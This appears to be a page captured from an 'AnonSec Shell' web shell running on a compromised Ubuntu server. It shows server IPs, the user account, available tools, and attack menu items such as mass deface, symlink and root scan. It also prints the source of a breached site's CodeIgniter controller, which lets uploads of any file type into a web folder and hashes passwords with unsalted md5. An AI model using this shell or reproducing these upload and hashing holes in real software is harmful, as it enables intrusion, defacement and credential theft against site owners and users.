AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.197.30 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/karina/prd/cms/apps/controllers/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/karina/prd/cms/apps/controllers/Home.php

<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Home extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');


		if (!$this->session->userdata('logged_in')) {
        	redirect('/');
        }
 
	}
	public function index()
	{
		$page = "dashboard";
		$nav = "grad";

		
		$data = array(
			'content' => 'dashboard/index',
			'page' => $page,

		);
		$this->load->view('layouts/base', $data);
	}
	public function password()
	{
		$data = array(
			'content' => 'dashboard/password',
		);
		$this->load->view('layouts/base', $data);
	}
	public function password_update(){
		$user_id = $this->session->userdata('id');

		$old_password = md5($this->input->post('password_current'));
		$new_password = md5($this->input->post('password_new'));
		$re_password = md5($this->input->post('password_verify'));

		$query = $this->Modglobal->find('user', array('id' => $user_id, 'password' => $old_password));
		$cek_user = $query->num_rows();

		if($cek_user > 0){
			if($this->input->post('password_new') == $this->input->post('password_verify')) {
				$where = array(
		        	'id' => $user_id,
		        );
		        $data = array(
		        	'password' => $new_password,
		        );
				$this->Modglobal->update('user', $data, $where);
				$this->session->set_flashdata('success', 'Project berhasil di pin');
			}
			else{
				$this->session->set_flashdata('verify_fail', 'Project berhasil di pin');
			}
		}
		else {
			$this->session->set_flashdata('fail', 'Project berhasil di pin');
		}
		
		redirect('home/password');
	}
	public function editor()
	{
		$page = "editor";

		$page_query = $this->Modglobal->find('homeditor', array('id' => '1'));
		$page_detail = $page_query->row_array();

		$data = array(
			'content' => 'dashboard/editor',
			'page' => $page,
			'page_detail' => $page_detail,
		);
		$this->load->view('layouts/base', $data);
	}
	public function update(){
		$findArr = array(" - "," ","  ", "[", "]","&","+","!");
		$replaceArr   = array("","-","-","", "","","","");
		if($_FILES["cover"]['name']) {
			$cover = 'cover-'.time().$_FILES["cover"]['name'];
			$cover = str_replace($findArr, $replaceArr, $cover);
			$config['upload_path']   = '../uploads/web/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $cover;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('cover');
	    }
	    else{
	    	$cover = $this->input->post('cover2');
	    }
	    if($_FILES["img_why"]['name']) {
			$img_why = 'img_why-'.time().$_FILES["img_why"]['name'];
			$img_why = str_replace($findArr, $replaceArr, $img_why);
			$config['upload_path']   = '../uploads/web/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $img_why;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img_why');
	    }
	    else{
	    	$img_why = $this->input->post('img_why2');
	    }
	    
	    if($_FILES["how1_img"]['name']) {
			$how1_img = 'how1_img-'.time().$_FILES["how1_img"]['name'];
			$how1_img = str_replace($findArr, $replaceArr, $how1_img);
			$config['upload_path']   = '../uploads/web/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $how1_img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('how1_img');
	    }
	    else{
	    	$how1_img = $this->input->post('how1_img2');
	    }
	    if($_FILES["how2_img"]['name']) {
			$how2_img = 'how2_img-'.time().$_FILES["how2_img"]['name'];
			$how2_img = str_replace($findArr, $replaceArr, $how2_img);
			$config['upload_path']   = '../uploads/web/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $how2_img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('how2_img');
	    }
	    else{
	    	$how2_img = $this->input->post('how2_img2');
	    }
	    if($_FILES["how3_img"]['name']) {
			$how3_img = 'how3_img-'.time().$_FILES["how3_img"]['name'];
			$how3_img = str_replace($findArr, $replaceArr, $how3_img);
			$config['upload_path']   = '../uploads/web/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $how3_img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('how3_img');
	    }
	    else{
	    	$how3_img = $this->input->post('how3_img2');
	    }

		$data = array(
        	'title' => $this->input->post('title'),
        	'subtitle' => $this->input->post('subtitle'),
        	'cover' => $cover,
        	'why' => $this->input->post('why'),
        	'img_why' => $img_why,
        	'how' => $this->input->post('how'),
        	'how1' => $this->input->post('how1'),
        	'how1_desc' => $this->input->post('how1_desc'),
        	'how1_img' => $how1_img,
        	'how2' => $this->input->post('how2'),
        	'how2_desc' => $this->input->post('how2_desc'),
        	'how2_img' => $how2_img,
        	'how3' => $this->input->post('how3'),
        	'how3_desc' => $this->input->post('how3_desc'),
        	'how3_img' => $how3_img,
        	'client' => $this->input->post('client'),
        );
        $where = array(
    		'id' => '1',
        );
        $this->Modglobal->update('homeditor', $data, $where);
		redirect('home/editor');
	}
	public function upload()
	{
		//echo 'tes';
		$url = getenv('PARENT_URL');
		//$accepted_origins = array($url);
		$accepted_origins = array("http://localhost", "http://107.161.82.130", "https://morinaga.antigravity.dev",$url);

		//echo $url.'-'.getenv('FE_BASE_URL');

		// Images upload path
		$imageFolder = "../media/img/";
		$newpath_img = getenv('FE_BASE_URL').'/media/img/';

		reset($_FILES);
		$temp = current($_FILES);
		if(is_uploaded_file($temp['tmp_name'])){
			if(isset($_SERVER['HTTP_ORIGIN'])){
				// Same-origin requests won't set an origin. If the origin is set, it must be valid.
				if(in_array($_SERVER['HTTP_ORIGIN'], $accepted_origins)){
					header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
				}else{
					header("HTTP/1.1 403 Origin Denied");
					return;
				}
			}
		
			// Sanitize input
			if(preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", $temp['name'])){
				header("HTTP/1.1 400 Invalid file name.");
				return;
			}
		
			// Verify extension
			if(!in_array(strtolower(pathinfo($temp['name'], PATHINFO_EXTENSION)), array("gif", "jpg", "png"))){
				header("HTTP/1.1 400 Invalid extension.");
				return;
			}
		
			// Accept upload if there was no origin, or if it is an accepted origin
			$filetowrite = $imageFolder . $temp['name'];
			move_uploaded_file($temp['tmp_name'], $filetowrite);

			$newpath = $newpath_img . $temp['name'];
		
			// Respond to the successful upload with JSON.
			echo json_encode(array('location' => $newpath));
		} else {
			// Notify editor that the upload failed
			header("HTTP/1.1 500 Server Error");
		}
	}

	public function unzip()
	{
		$this->load->library('unzip');
		// Optional: Only take out these files, anything else is ignored
		$this->unzip->allow(array('css', 'js', 'png', 'gif', 'jpeg', 'jpg', 'tpl', 'html', 'swf','json'));

		// Give it one parameter and it will extract to the same folder
		$this->unzip->extract('../media/web/tes.zip');

		// or specify a destination directory
		//$this->unzip->extract('/tes.zip', '../../media/web/');
	}

	
	
}

Anon7 - 2022
AnonSec Team